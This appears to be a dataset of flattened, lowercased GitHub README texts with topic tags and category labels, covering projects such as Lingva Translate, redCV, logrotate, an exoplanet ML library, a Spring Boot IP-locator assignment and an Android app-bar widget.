examples string similar string target lang code string name string text string audio int pronunciation string extratranslations type string list word string article string frequency int meanings string audio lang string query string lang code string name string text string audio int languages type source target code string name string related projects lingva scraper https github com thedaviddelta lingva scraper google translate scraper built and maintained specifically for this project simplytranslate https codeberg org simpleweb simplytranslate web very simple translation front end with multi engine support libretranslate https github com libretranslate libretranslate foss translation service that uses the open argos https github com argosopentech argos translate engine lentil for android https github com yaxarat lingvaandroid unofficial native client for android that uses lingva s public api arna translate https github com mahanrahmati translate unofficial cross platform native client that uses lingva s public api translate ut https github com walking octopus translate ut unofficial native client for ubuntu touch that uses lingva s public api contributors thanks goes to these wonderful people emoji key https allcontributors org docs en emoji key all contributors list start do not remove or modify this section prettier ignore start markdownlint disable table tr td align center a href https thedaviddelta com img src https avatars githubusercontent com u 6679900 v 4 s 100 width 100px alt br sub b david b sub a br a href a11y thedaviddelta title accessibility a a href https github com thedaviddelta lingva translate commits author thedaviddelta title code a a href https github com thedaviddelta lingva translate commits author thedaviddelta title documentation a a href design thedaviddelta title design a a href https github com thedaviddelta lingva translate commits author thedaviddelta title tests a td td align center a href https github com mhmdanas img src https avatars githubusercontent com u 32234660 v 4 s 100 width 100px alt br sub b mohammed anas b sub a br a href https github com thedaviddelta lingva translate commits author mhmdanas title code a td td align center a href https pussthecat org img src https avatars githubusercontent com u 47571719 v 4 s 100 width 100px alt br sub b thefrenchghosty b sub a br a href https github com thedaviddelta lingva translate commits author thefrenchghosty title documentation a td tr table markdownlint restore prettier ignore end all contributors list end this project follows the all contributors https github com all contributors all contributors specification contributions of any kind welcome license https www gnu org graphics agplv3 with text 162x68 png https www gnu org licenses agpl 3 0 html copyright 2021 thedaviddelta https github com thedaviddelta contributors this project is gnu agplv3 license licensed | front_end |
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blockchain-sync | blockchain sync a benchmarking utility for ethereum clients usage npm install install and configure a client if necessary bin run bench args client name the utility will attempt to connect the profiled client to a running master node and sync up from it options e enode enode address of a node to sync up with d client dir client installation directory client name of the client to run rm remove the data directory before sync h help show instructions | blockchain |
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tp1-infosysttechno | tp1 infosysttechno tp1 information system technologies | server |
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CHP06-Unity-step-by-step- | chp06 unity step by step unity in embedded system design and robotics a step by step guide | os |
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Embedded-systems-Design | embedded systems design embedded systems design with c | os |
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Resources_for_Web_Development | resources for web development quick links books notes cheatsheet practice blogs hr lecture videos html https www youtube com watch v bsdolvmnmzs ab channel codewithharry css https www youtube com watch v edsxf nbfrw ab channel codewithharry javascript https www youtube com playlist list pllasxeu85e9cq32glcvavr9vnauccpvnp nodejs https www youtube com playlist list plobaq7hwqzwgtfhj4jnqavzjd y6iterq mongodb https www youtube com playlist list plwgdquzwnop1p9xssjg7g3ay0cujs woa reactjs https www youtube com playlist list plu0w 9lii9agx66oznt6iyhcmibumnmdt angular https www youtube com watch v pcewawynnu4 ab channel codestepbystep spring boot https www youtube com playlist list plqq 6pq4lttbx8p2ocgcaqgqyqn8xea1x vuejs https www youtube com playlist list pl8p2i9gklv45qwth mdzlluufrjo euyn django https www youtube com playlist list plu0w 9lii9ah7ddtytflgwmwpt3xmjxy9 flask https www youtube com playlist list plu0w 9lii9agaiwp6y41ueukx1vctrxmf hr blogs w3schools https www w3schools com freecodecamp https www freecodecamp org hr notes notes https drive google com file d 1pdqyp3nigf4hwou2b2nmraz8nesiyn8r view usp sharing hr cheatsheet thinkful https www thinkful com blog web developer cheat sheet | front_end |
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get-firebase-bearer-key | firebase auth build setup bash install dependencies npm install serve with hot reload at localhost 3000 npm run dev build for production and launch server npm run build npm run start generate static project npm run generate | firebase firebase-auth jwt-authentication | server |
substrate | dear contributors and users we would like to inform you that we have recently made significant changes to our repository structure in order to streamline our development process and foster better contributions we have merged three separate repositories cumulus substrate and polkadot into a single new repository the polkadot sdk https github com paritytech polkadot sdk go ahead and make sure to support us by giving a star to the new repo by consolidating our codebase we aim to enhance collaboration and provide a more efficient platform for future development if you currently have an open pull request in any of the merged repositories we kindly request that you resubmit your pr in the new repository this will ensure that your contributions are considered within the updated context and enable us to review and merge them more effectively we appreciate your understanding and ongoing support throughout this transition should you have any questions or require further assistance please don t hesitate to reach out to us https forum polkadot network t psa parity is currently working on merging the polkadot stack repositories into one single repository 2883 best regards parity technologies | parity polkadot blockchain substrate client node | blockchain |
ant-design-landing | p align center a href http landing ant design img width 150px height 150px src https gw alipayobjects com zos rmsportal hsypdzjwzexagfkktceu svg a p h1 align center ant design landing h1 div align center landing pages of ant design system dependencies https img shields io david ant design ant design landing svg https david dm org ant design ant design landing devdependencies https img shields io david dev ant design ant design landing svg https david dm org ant design ant design landing type dev div div align center english a href readme zh cn md a div what is landing landing is a template built by ant motion s motion components it has a rich homepage template downloads the template code package and can be used quickly you can also use the editor to quickly build your own dedicated page div align center a href https landing ant design edit go editing a div features specifications https landing ant design docs introduce download https landing ant design docs download responsive https landing ant design docs guide layout templates has a wealth of various page templates to provide downloads https user images githubusercontent com 6802825 47977555 ac77b080 e0f3 11e8 90f3 6aa04cce5351 jpg http landing ant design modules diverse modules you can quickly and flexibly configure the page template you want div style max width 600px img src https user images githubusercontent com 6802825 47980280 ec459480 e101 11e8 8a94 1ada4ff61faa jpg width 100 div example in scaffolding dva cli example https github com ant motion ant motion dva cli example umi example https github com ant motion landing umi example | react design landing-page template templates landings landing landingpage homepage home-page site editor page-editor landing-pages | os |
redCV | computer vision with red language see http www red lang org http www red lang org images red ico images redcv png you need a recent red version compiled with red 0 6 4 for macos built 11 aug 2021 0 56 38 02 00 commit 3124920 tested with macos linux mint 32 bit windows xp and windows 10 you must compile samples since red routines are required most of samples require view use first u compiler option to create a red rt library and then just c option which makes the compilation faster red u c filename creates a specific librt then just red c filename faster compilation extra documentation here http redlcv blogspot com 2017 04 blog post html http redlcv blogspot com 2017 04 blog post html update september 1 2021 support for optris infrared devices added including images and movies samples update august 15 2021 redcv version is now 2 0 0 more than 600 routines and functions for image processing redcv is fully compatible with the matrix object we developed with toomas vooglaid and qingtian xie during 2020 summer break redcv can talk with pandore c library redcv is completly modular redcv documentation is updated redcv code samples also updated update january 2 2021 redcv includes a support for flir themal images this will be extended to other thermal imagers such as optris update november 30 2020 all libs and code samples are compatible with the new less permissive but faster red compiler this udpate also includes a new matrix object developed with toomas vooglaid during the last summer in order to improve initial matrix implementation you ll find in libs matrix atrix as obj docs a short and incomplete documentation and some samples update july 15 2020 more than 200 code samples documented new libraries for haar cascade and machine learning 1 libs objdetect rcvhaarcascade red 1 libs objdetect rcvhaarrectangles red new libraries for portable bitmap support 1 libs pbm rcvpbm red modified libraries 1 libs core rcvcore red 1 libs matrix rcvmatrix red 1 libsimgproc rcvimgproc red 1 libs math rcvstats red 1 libs math rcvmoments red 1 libs math rcvhistogram red 1 libs math rcvdistance red 1 libs zlib rcvzlib red 1 libs tiff rcvtiff red new code samples 1 image alpha blendimage3 red 1 image alpha blendimage4 red 1 image alpha mask red 1 image compression compress2 red 1 image draw thread red 1 image haar facedetection red 1 image haar camface red 1 image haar xmlcascade red 1 image hog hog1 1 image hog hog2 1 image hog hog3 1 image hog hog4 1 image hog hog5 1 image transformation imagecrop red updated code samples 1 image channel redcvsplitmerge red 1 image distances chamfer chamfer2 red 1 image distances chamfer flow red 1 image fft imagefft1 red 1 image fft imagefft2 red 1 image fft imagefft3 red 1 image filters neuman neuman1 red 1 image histograms colorhisto red 1 image histograms grayhisto red 1 image histograms meanshift red 1 image integral integral3 red 1 image operators opimage red 1 image pixels pixel1 red 1 image pixels pixel2 red 1 image random randomview red 1 video cam1 red 1 video cam2 red 1 video cam4 red 1 video cam41 red 1 video cambin red 1 video camconv red 1 video motion red 1 video tracking1 red 1 video tracking2 red obsolete code samples see https github com ldci ffmpeg https github com ldci ffmpeg for better video access 1 video movie red 1 video reccam red update february 4 2020 100 macos windows and linux gtk compatible for windows and macos and now linux gtk thanks to bitbegin loziniak and rcqls modified libraries 1 rcvcore red 1 rcvimgproc red 1 rcvmatrix red 1 rcvstats red modified samples 1 image alpha blendimage2 red 1 image alpha blendmatrices red 1 image contours signaturepolar red 1 image denoising smoothing red 1 image distances chamfer chamfer red 1 image distances chamfer chamfer2 red 1 image fft fftlowpass red 1 image pixels pixel1 red 1 image pixels pixel2 red 1 image pixels wpixel red 1 image random randommat red 1 image resizing pyramidal red 1 image resizing resize1 red 1 image resizing resize2 red 1 image sort sortimage2 red 1 image statistics imagestats red 1 image transformation imagescale red 1 signal processing fourier1 red 1 signal processing fourier2 red 1 signal processing fourier3 red 1 signal processing fourier4 red update january 28 2020 redcv is now 100 compatible with linux gtk modified library modules 1 libs core rccore red 1 libs matrix rcvmatrix red 1 libs timeseries rcvfft red 1 libs tiff rcvtiff red modified samples 1 samples image contours all samples 1 samples image detector pointdetector red 1 samples image distance chamfer flow red 1 samples image fft all fourier samples 1 samples image pixel pixel1 pixel2 1 samples image transformation imagerotate imageskew imagetranslate imageclip 1 sample signal processsing all fourier samples update january 9 2020 happy new year a new version of redcv most of functions are now defined as routines for a faster image processing and redcv is now modular this means that you can use only required libraries for your code and not all redcv library this modular organization reduces compilation duration reduces the size of the executable applications and helps in maintaining redcv as detailed in libs redcv red file some libraries are mandatory and other are optional according to specific applications all code samples included in redcv use modular library calling code sample documentation is quite complete updated documentation new functions and samples including fast fourier transform update july 22 2019 a lot of important changes before summer break updated libs new functions for image effect k means algorithm implemented new sample directory organization new documentation including samples documentation work in progress update april 25 2019 updated documentation new distance functions and samples samples voronoi update march 25 2019 updated documentation new functions and samples update february 4 2019 update for red 0 6 4 version update august 26 2018 dynamic time warping added to redcv update august 4 2018 general update for documentation general update for code sample a lot of new samples are added for lines and shapes detection in image update february 16 2018 redcv can write tiff images 24 bit color format update february 10 2018 redcv can read tiff files now 1 to 4 channels 8 bit uncompressed images are supported see samples tiff for code sample doc is also updated update january 20 2018 you ll find in samples image compression new code for image compression with zlib documentation is updated update january 04 2018 happy new year new samples in video for wrting and reading video files with red and camera update december 28 2017 update for video samples according to evolution of red camera object new october 4 2017 general update for red 0 6 3 new samples for distance maps documentation is updated new july 4 2017 added rcvcontourarea function and new samples new july 1 2017 quick convex hull algorithm added to redcv samples and documentation updated new june 22 2017 most of code libs and sample is updated according to red modifications for image datatype new edges detection fast operators are also added new may 13 2017 documentation is reorganized for a better comprehension and includes an index of all implemented functions new redcv functions added such as logarithmic image processing model a lot of new edges filters added in library and in code samples april 1 2017 imageclip red and libs updated new march 29 2017 redcv can be used with red 0 6 2 new samples added such as clipping functions new december 5 2016 updated version for samples including b w filters histograms and integral image you have to compile samples with following command red c t windows filename red new november 14 2016 integral for matrices and images are added see redcv manual for details new novemnber 12 2016 warning some exe are reported with tr crypt xpack gen2 infection by github puzzling since exe are compiled under macos but to avoid any problems all exe are suppressed you ll need to compile samples with following command red c t windows filename red very easy to do new november 9 2016 extended morphological operators and samples added documentation updated new november 4 2016 morphological operators for color images added new october 18 2016 rcvhistogramequalization function added in library this very fast function is useful for improving contrast in low contrasted images or simply modifying the contrast of image new october 15 2016 statistical functions improved see redcv manual documentation for details new october 14 2016 new samples in samples draw dsl this is an illustration of how draw dsl can be used to create nice graphical applications enjoy new october 10 2016 rcvscaleimage rcvtranslateimage and rcvrotateimage are now redcv functions see redcv manual for details samples and documentation updated new october 10 2016 scale translate and rotate operators based on red draw dialect added new convolution samples added new october 5 2016 redcv reference manual replaces basic documentation about 150 functions tested and are functional new september 29 2016 new color space conversions added rcvinrange function added extracts sub array from image according to lower and upper rgb values samples and documentation updated new september 25 2016 histogram functions for matrices and color images added new samples added doc updated new september 21 2016 statistical functions are rewritten to be used with images and matrices rcvminloc and rcvmaxloc functions added finds global minimum or maximum location in array doc updataed new september 19 2016 split and merge functions for matrices are added new september 12 2016 a lot of optimized functions for working with 8 16 and 32 bit integer matrices new samples added documentation updated new september 1 2016 image resizing and gaussian pyramid decomposition are added with this function rcvresizeimage function src image canvas isize pair gaussian return pair only gaussian 5x5 kernel is currently supported canvas is a base facet if you don t call gaussian refinement image is just resized by red documentation updated new august 29 2016 convolution with integer matrices is now possible also added a faster rcvfastconvolve working on separate image channel or grayscaled images new august 24 2016 back from summer break with a lot of new samples and functions matrices can be used now with vector datatype but we ll wait for the matrix datatype for improving functions new samples folder thematic organization doc is updated new july 27 2016 gaussianfilter sample updated new july 26 2016 slight changes in libs all red routines begin with underscore e g rcvcopy documentation updated samples updated new samples added in samples test directory new july 24 2016 a sample for gaussian filter new july 23 2016 gaussian filter added see samples test testgaussian red new july 18 2016 convolve routines are improved but rather low speed as expected 2d filtering can be used see documentation for details more samples to come new july 12 2016 fast flip render and documentation update new july 10 2016 documentation for redcv functions added new july 9 2016 black and white image filter added a new sample motion red for motion tracking with webcam new july 8 2106 a lot of work for this new version with faster routines and functions most of functions are in the form rcvfunction src image dst image this avoids memory leaks due to image copy new organizations for libs all red system routines are in the same file and routines are exported as red functions in the various libs new basic samples to be compiled documentation and new samples will be included asap new june 28 2016 rcvflip routines are faster written in red system motion detection sample added you can use your webcam to do a video monitoring samples are compiled with t windowsxp option new june 22 2016 libs are improved for faster routines new convolution samples are included rendering duration is calculated with the new red timer and sent back to the user special thanks for didec for interface improvment new folder organisation samples for red code samples exe for exec files new june 17 2016 convolution routines for images are added more to come new june 15 2016 added statistical functions on image added some space color conversion more to come new june 2016 after playing a long time with opencv and red language it s time for me to write some image processing functions directly with red conversions logical and some math operators for images are available according to kiss spirit of red you only need to include one file in your code include libs redcv red see opimage red sample for detail this file includes red functions and calls all necessary routines more functions and samples to come you ll find some images to play within images folder all supported images by red can be used special thanks to nenad for developing red and to qingtian for image implementation please feel free to contribute and enjoy | ai |
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logrotate | logrotate the logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files logrotate allows for the automatic rotation compression removal and mailing of log files logrotate can be set to handle a log file hourly daily weekly monthly or when the log file gets to a certain size download the latest release is logrotate 3 21 0 https github com logrotate logrotate releases download 3 21 0 logrotate 3 21 0 tar xz sig https github com logrotate logrotate releases download 3 21 0 logrotate 3 21 0 tar xz asc changelog https github com logrotate logrotate releases tag 3 21 0 previous releases logrotate 3 20 1 https github com logrotate logrotate releases download 3 20 1 logrotate 3 20 1 tar xz sig https github com logrotate logrotate releases download 3 20 1 logrotate 3 20 1 tar xz asc changelog https github com logrotate logrotate releases tag 3 20 1 logrotate 3 20 0 https github com logrotate logrotate releases download 3 20 0 logrotate 3 20 0 tar xz sig https github com logrotate logrotate releases download 3 20 0 logrotate 3 20 0 tar xz asc changelog https github com logrotate logrotate releases tag 3 20 0 logrotate 3 19 0 https github com logrotate logrotate releases download 3 19 0 logrotate 3 19 0 tar xz sig https github com logrotate logrotate releases download 3 19 0 logrotate 3 19 0 tar xz asc changelog https github com logrotate logrotate releases tag 3 19 0 logrotate 3 18 1 https github com logrotate logrotate releases download 3 18 1 logrotate 3 18 1 tar xz sig https github com logrotate logrotate releases download 3 18 1 logrotate 3 18 1 tar xz asc changelog https github com logrotate logrotate releases tag 3 18 1 logrotate 3 18 0 https github com logrotate logrotate releases download 3 18 0 logrotate 3 18 0 tar xz sig https github com logrotate logrotate releases download 3 18 0 logrotate 3 18 0 tar xz asc changelog https github com logrotate logrotate releases tag 3 18 0 logrotate 3 17 0 https github com logrotate logrotate releases download 3 17 0 logrotate 3 17 0 tar xz sig https github com logrotate logrotate releases download 3 17 0 logrotate 3 17 0 tar xz asc changelog https github com logrotate logrotate releases tag 3 17 0 logrotate 3 16 0 https github com logrotate logrotate releases download 3 16 0 logrotate 3 16 0 tar xz sig https github com logrotate logrotate releases download 3 16 0 logrotate 3 16 0 tar xz asc changelog https github com logrotate logrotate releases tag 3 16 0 logrotate 3 15 1 https github com logrotate logrotate releases download 3 15 1 logrotate 3 15 1 tar xz sig https github com logrotate logrotate releases download 3 15 1 logrotate 3 15 1 tar xz asc changelog https github com logrotate logrotate releases tag 3 15 1 logrotate 3 15 0 https github com logrotate logrotate releases download 3 15 0 logrotate 3 15 0 tar xz sig https github com logrotate logrotate releases download 3 15 0 logrotate 3 15 0 tar xz asc changelog https github com logrotate logrotate releases tag 3 15 0 logrotate 3 14 0 https github com logrotate logrotate releases download 3 14 0 logrotate 3 14 0 tar xz sig https github com logrotate logrotate releases download 3 14 0 logrotate 3 14 0 tar xz asc changelog https github com logrotate logrotate releases tag 3 14 0 logrotate 3 13 0 https github com logrotate logrotate releases download 3 13 0 logrotate 3 13 0 tar xz sig https github com logrotate logrotate releases download 3 13 0 logrotate 3 13 0 tar xz asc changelog https github com logrotate logrotate releases tag 3 13 0 logrotate 3 12 3 https github com logrotate logrotate releases download 3 12 3 logrotate 3 12 3 tar xz sig https github com logrotate logrotate releases download 3 12 3 logrotate 3 12 3 tar xz asc changelog https github com logrotate logrotate releases tag 3 12 3 logrotate 3 12 2 https github com logrotate logrotate releases download 3 12 2 logrotate 3 12 2 tar xz sig https github com logrotate logrotate releases download 3 12 2 logrotate 3 12 2 tar xz asc changelog https github com logrotate logrotate releases tag 3 12 2 logrotate 3 12 1 https github com logrotate logrotate releases download 3 12 1 logrotate 3 12 1 tar xz sig https github com logrotate logrotate releases download 3 12 1 logrotate 3 12 1 tar xz asc changelog https github com logrotate logrotate releases tag 3 12 1 logrotate 3 12 0 https github com logrotate logrotate releases download 3 12 0 logrotate 3 12 0 tar xz sig https github com logrotate logrotate releases download 3 12 0 logrotate 3 12 0 tar xz asc changelog https github com logrotate logrotate releases tag 3 12 0 logrotate 3 11 0 https github com logrotate logrotate releases download 3 11 0 logrotate 3 11 0 tar xz sig https github com logrotate logrotate releases download 3 11 0 logrotate 3 11 0 tar xz asc changelog https github com logrotate logrotate releases tag 3 11 0 logrotate 3 10 0 https github com logrotate logrotate releases download 3 10 0 logrotate 3 10 0 tar gz changelog https github com logrotate logrotate releases tag 3 10 0 logrotate 3 9 2 https github com logrotate logrotate releases download 3 9 2 logrotate 3 9 2 tar gz changelog https github com logrotate logrotate releases tag 3 9 2 git checkout you can also obtain code by using git checkout git clone https github com logrotate logrotate git b main replace main with branch or tag you intend to checkout verify and unpack after downloading the tarball and asc signature file check the signature get kamil s pgp key rsa4096 72a37b36 almost any keyserver will do if pgp mit edu is temporarily unavailable gpg keyserver pgp mit edu recv key 992a96e075056e79cd8214f9873db37572a37b36 and verify the pgp signature on the distribution tarball gpg verify logrotate 3 11 0 tar xz asc logrotate 3 11 0 tar xz if successful your gpg output should look like this gpg signature made fri 02 dec 2016 08 30 39 am est gpg using rsa key 873db37572a37b36 gpg good signature from kamil dudka kdudka redhat com unknown gpg warning this key is not certified with a trusted signature gpg there is no indication that the signature belongs to the owner primary key fingerprint 992a 96e0 7505 6e79 cd82 14f9 873d b375 72a3 7b36 you may then unpack the tarball tar xjf logrotate 3 11 0 tar xz notice that git tags are signed with same key git tag verify 3 11 0 compiling obtain source either by downloading download it or doing git checkout git checkout install dependencies for debian systems apt get update apt get install autoconf automake libpopt dev libtool make xz utils install dependencies for fedora centos systems yum install autoconf automake libtool make popt devel xz compilation autoreconf is optional if you obtained source from tarball cd logrotate x y z autoreconf fiv configure make patches and questions open issues or pull requests on github more details in contributing md file for pull requests | os |
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BUGsy-Malone | bugsy malone bug tracking web app for software engineering teams the front end was built with react the back end with node js express and the database was managed with mysql | server |
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exoplanet-ml | exoplanet ml machine learning models and utilities for exoplanet science code author chris shallue cshallue https github com cshallue walkthrough you can jump straight to the astronet walkthrough exoplanet ml astronet readme md walkthrough otherwise click through to the desired directory as outlined below directories astronet exoplanet ml astronet a neural network for identifying exoplanets in light curves contains code for downloading and preprocessing kepler light curves building different types of neural network classification models training and evaluating a new model using a trained model to generate new predictions astrowavenet exoplanet ml astrowavenet a generative model for light curves light curve exoplanet ml light curve utilities for operating on light curves these include reading kepler data from fits files applying a median filter to smooth and normalize a light curve phase folding splitting removing periodic events etc light curve fast ops exoplanet ml light curve fast ops contains optimized c light curve operations tf util exoplanet ml tf util shared tensorflow utilities third party exoplanet ml third party utilities derived from third party code setup required packages tensorflow instructions https www tensorflow org install pandas instructions http pandas pydata org pandas docs stable install html numpy instructions https docs scipy org doc numpy user install html scipy instructions https scipy org install html astropy instructions http www astropy org pydl instructions https pypi python org pypi pydl bazel instructions https docs bazel build versions master install html abseil python common libraries instructions https github com abseil abseil py run unit tests verify that all dependencies are satisfied by running the unit tests bash cd exoplanet ml bazel must run from a directory with a workspace file bazel test astronet astrowavenet light curve tf util third party citation if you find this code useful please cite our paper shallue c j vanderburg a 2018 identifying exoplanets with deep learning a five planet resonant chain around kepler 80 and an eighth planet around kepler 90 the astronomical journal 155 2 94 full text available at the astronomical journal http iopscience iop org article 10 3847 1538 3881 aa9e09 meta disclaimer this is not an official google product | ai |
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altschool-cloud-exercises | altschool cloud exercises this repo will serve as archive for all exercises attempted during the 2022 altschool cloud engineering program | cloud |
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Data-Engineering-Import-the-CSVs-into-a-SQL-database | background it is a beautiful spring day and it is two weeks since you have been hired as a new data engineer at pewlett hackard your first major task is a research project on employees of the corporation from the 1980s and 1990s all that remain of the database of employees from that period are six csv files in this assignment you will design the tables to hold data in the csvs import the csvs into a sql database and answer questions about the data in other words you will perform data engineering data analysis instructions data modeling inspect the csvs and sketch out an erd of the tables feel free to use a tool like http www quickdatabasediagrams com data engineering use the information you have to create a table schema for each of the six csv files remember to specify data types primary keys foreign keys and other constraints for the primary keys check to see if the column is unique otherwise create a composite key which takes to primary keys in order to uniquely identify a row be sure to create tables in the correct order to handle foreign keys import each csv file into the corresponding sql table note be sure to import the data in the same order that the tables were created and account for the headers when importing to avoid errors data analysis once you have a complete database do the following list the following details of each employee employee number last name first name sex and salary list first name last name and hire date for employees who were hired in 1986 list the manager of each department with the following information department number department name the manager s employee number last name first name list the department of each employee with the following information employee number last name first name and department name list first name last name and sex for employees whose first name is hercules and last names begin with b list all employees in the sales department including their employee number last name first name and department name list all employees in the sales and development departments including their employee number last name first name and department name in descending order list the frequency count of employee last names i e how many employees share each last name | database sql | server |
ip-locator | markdownlint disable file md029 1 proyecto final springboot ip locator 1 proyecto final springboot ip locator 1 proyecto final springboot ip locator 1 1 integrantes 11 integrantes 1 2 requerimientos del proyecto 12 requerimientos del proyecto 1 3 recursos de apoyo 13 recursos de apoyo 1 4 levantamiento y uso 14 levantamiento y uso 1 1 integrantes karla patricia cupul g mez roger isaac barrera navarrete url li barrera alejandro ochoa alvarez 1 2 requerimientos del proyecto dise ar una p gina web que muestre tu direcci n en un mapa en base a la ip la p gina web debe de ser de la siguiente manera captura de ejemplo del resultado de la aplicaci n img appexample para ello se deber elaborar una aplicaci n en spring boot que cumpla con dos cosas publique un servicio que no reciba par metros y genere la url del mapa una p gina web con un bot n y un iframe al dar clic en el bot n invocar al servicio del punto anterior y cargara la imagen en el iframe el servicio por desarrollar deber hacer lo siguiente 1 invocar el api publica https api ipify org format json url apiipify con la que obtendr la direcci n ip desde la cual sale la petici n ejemplo de respuesta json ip 187 188 9 161 2 usar esa direcci n ip para invocar el servicio https ipinfo io 187 188 9 161 geo url api ipinfo que obtendr entre otras cosas la latitud y longitud ejemplo de respuesta json ip 187 188 9 161 hostname fixed 187 188 9 161 totalplay net city mexico city region mexico city country mx loc 19 4285 99 1277 org as17072 total play telecomunicaciones sa de cv postal 03020 timezone america mexico city readme https ipinfo io missingauth 3 usar la longitud y latitud para armar una url que ser regresada por el servicio para generar la url del mapa usando el api de openstreetmap https www openstreetmap org mlat 19 4285 mlon 99 1277 map 18 19 42850 99 12770 layers n url openstreetmap este valor lo regresara en un json de la siguiente forma json url https www openstreetmap org mlat 19 4285 mlon 99 1277 map 18 19 42850 99 12770 layers n 4 la p gina web deber usar jquery para llamar al servicio despu s de dar clic al bot n javascript get http myservicio function data document getelementbyid iframeid src data url mermaid sequencediagram actor usr as actor participant p gina web participant iframe participant locationservice participant api ipify participant api ipinfo usr p gina web clic en el bot n activate usr p gina web locationservice get location locationservice api ipify get https api ipify org format json api ipify locationservice la ip del usuario locationservice api ipinfo get https ipinfo io api ipinfo locationservice informaci n de la ip locationservice locationservice generar la url del mapa locationservice p gina web la url del mapa p gina web iframe cambiar la url del iframe deactivate usr entregar el c digo fuente proyecto del servicio en un archivo zip el proyecto deber compilar con el comando mvn clean install instalar maven incluir un archivo readme txt con las instrucciones para levantar y probar el c digo enviar el proyecto por correo a m s tardar el mi rcoles 14 de diciembre tema uady proyecto final springboot nombre enviar a j a aguilar puch accenture com mail aguilar con copia yadira p velazquez accenture com mail yadira 1 3 recursos de apoyo se utilizar n los siguientes recursos para el desarrollo del proyecto curso de arquitectura java spring boot url arquitecturajava spring boot mitocode url mitocode curso spring boot desde cero framework java brain data center url braindatacenter y como recursos adicionales spring boot url springio spring boot microservices level 1 communication and discovery java brains url javabrains 1 4 levantamiento y uso para compilar el programa en window se debe ejecutar el siguiente comando en la carpeta ip locator la ra z del proyecto usando la consola de comandos de powershell powershell mvnw clean install esto instalar las dependencias y generar el archivo jar en la carpeta target target para correr el programa se debe ejecutar el siguiente comando powershell mvnw spring boot run o tambi n se puede usar el siguiente comando para correr el programa powershell java jar target ip locator 0 0 1 snapshot jar se accede al navegador con la siguiente url http localhost 8080 url localhost y se obtiene la siguiente p gina p gina de inicio img capturaapp de esta p gina se puede dar clic en el bot n en d nde estoy para obtener la ubicaci n del usuario finalmente se obtiene el mapa de la ubicaci n del usuario nota por alguna raz n el mapa no muestra el marcador de la ubicaci n del usuario solo se traslada a las coordenadas aproximadas alternativamente se puede usar el siguiente endpoint para obtener el url del mapa http get http localhost 8080 api v1 position img appexample img example png img capturaapp img captura app jpeg mail aguilar mailto j a aguilar puch accenture com mail yadira mailto yadira p velazquez accenture com url api ipinfo https ipinfo io 187 188 9 161 geo url apiipify https api ipify org format json url arquitecturajava https cursos arquitecturajava com p spring boot1 url braindatacenter https youtube com playlist list plcijncxyvehbsahlmhsrmrojtg1s tlg8 url javabrains https youtube com playlist list plqq 6pq4lttzskafg6acdvdp86qx4lnas url li barrera https www linkedin com in ribn url localhost http localhost 8080 url mitocode https youtube com playlist list plvimn1ins 40wr4pc yttq5tkt3vrrvwl url openstreetmap https www openstreetmap org mlat 19 4285 mlon 99 1277 map 18 19 42850 99 12770 layers n url springio https spring io projects spring boot | java maven-plugin spring-boot webapp | cloud |
fluentAppBar | fluent app bar img src https github com byvlstr fluentappbar blob master assets fluentappbar png width 150 align right fluent app bar is an android bottom sheet enabling a whole new bottom navigation and menu experience innovative fluent app bar is an innovative ui ux to manage fragment navigation and visualize menu options beautiful ui an elegant ui with a very smooth ux a bottom navigation bar and a menu in one ui widget inspired by microsoft s fluent design system https fluent microsoft com many thanks to dmitry saviuk who made blurview https github com dimezis blurview already used for the blur dialog https github com byvlstr blurdialog img src https github com byvlstr fluentappbar blob master assets fluentappbar gif width 350 usage add this xml snippet to your layout xml com vlstr fluentappbar fluentappbar android id id fluent app bar android layout width match parent android layout height wrap content app fluent background colour color colorprimary app fluent foreground colour ffffff app fluent app bar type full fluent app layout behavior android support design widget bottomsheetbehavior com vlstr fluentappbar fluentappbar and integrate the fluentappbar this way java mainactivity java private void setupfluentappbar fluentappbar fluentappbar findviewbyid r id fluent app bar fluentappbar setnavigationmenu r menu fluent app bar main menu this fluentappbar setsecondarymenu r menu fluent app bar secondary menu this fluentappbar setblurradius 10 and to handle the navigation or secondary menu item click java mainactivity java override public void onclick view v int resid int v gettag switch resid navigation menu case r id nav all fluentappbar collapse break case r id nav album break case r id nav keywords break secondary menu case r id menu sync fluentappbar collapse break case r id menu assistant break case r id menu shared break you will have to provide 2 xml menu resource files for the navigation menu and the secondary menu xml menu xmlns android http schemas android com apk res android item android icon drawable ic all android id id nav all android title all item android icon drawable ic album android id id nav album android title albums item android icon drawable ic keywords android id id nav keywords android title keywords menu menu xmlns android http schemas android com apk res android item android icon drawable ic sync android id id menu sync android title show sync status item android icon drawable ic assistant android id id menu assistant android title photo assistant item android icon drawable ic shared android id id menu shared android title shared photos menu compatibility this android library is currently supported by devices with api 17 customisation each of the following has got getter setter methods also the type background colour and foreground colour can be directly set in the xml layout file navigation menu provide the icons and title for the navigation menu secondary menu type 3 types are available to you full fluent the fluent blur is always enabled click fluent the blur is enabled when the fluentappbar is expanded disable fluent no blur effect is being used background colour specify the fluentappbar s background colour used as is for the disable fluent and click fluent types made transparent according to the provided options for full fluent and click fluent when expanded works like a filter colour foreground colour specify the text colour and icon tint ripple style specify whether you want to use the custom fluent ripple or keep the default android ripple background alpha set how strong the alpha should be when making the backgrond colour a transparent filter blur radius range 1 25 the lower it is the more you will see the fluentappbar s background additional customization these 3 customization options are done through overriding the dimen resource name in your own dimens xml file please name the dimensions like follows text size navigation menu fluentappbar navigation text size secondary menu fluentappbar secondary menu text size icon size fluentappbar icon height additional methods collapse collapse the fluentappbar after a short delay of 500ms in order to see the ripple collapsewithoutdelay collapse the fluentappbar without the delay expand gradle groovy dependencies compile com vlstr fluentappbar 1 1 0 for maven xml dependency groupid com vlstr groupid artifactid fluentappbar artifactid version 1 1 0 version type pom type dependency examples img src https github com byvlstr fluentappbar blob master assets fluent bar png width 350 img src https github com byvlstr fluentappbar blob master assets disable or click fluent png width 350 align right img src https github com byvlstr fluentappbar blob master assets disable fluent png width 350 logs 1 1 0 override customization for text and icon sizes add type click fluent improve touch interaction with the fluent app bar sliding 1 0 0 initial version used by in feel free to contact me to have your project and name stated here credits creator valentin lungenstrass http www vlstr com http vlstr com contact at vlstr dot com a href https twitter com byvlstr img alt follow me on twitter src https raw githubusercontent com florent37 davinci master mobile src main res drawable hdpi twitter png a a href https www linkedin com in valentin lungenstrass 3a496b97 img alt follow me on linkedin src https raw githubusercontent com florent37 davinci master mobile src main res drawable hdpi linkedin png a license copyright 2019 valentin lungenstrass licensed under the apache license version 2 0 the license you may not use this file except in compliance with the license you may obtain a copy of the license at http www apache org licenses license 2 0 unless required by applicable law or agreed to in 